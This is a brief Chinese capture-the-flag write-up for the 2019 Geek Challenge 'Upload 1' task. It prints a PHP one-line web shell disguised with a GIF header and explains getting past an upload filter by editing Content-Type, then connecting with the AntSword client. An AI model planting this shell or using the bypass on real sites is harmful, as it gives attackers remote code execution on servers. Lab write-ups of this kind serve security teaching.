ROSE笔记-[极客大挑战 2019]Upload 1-WP

[极客大挑战 2019]Upload 1

文件上传无疑。这里明确指出要上传图像，我们肯定是要上传一句话木马的。这里的前端是没有js事件的，而且是过滤了.php后缀的。

常见的一句话木马 test.phtml

GIF89a? <script language='php'>@eval($_REQUEST[a]);</script>

接着上传该文件，然后使用burpsuite抓个包。

这里把文件类型（Content-Type）改成image/jpeg，即可绕过过滤。
上传成功使用中国蚁剑连接该页面。注意上传文件的目录在upload下。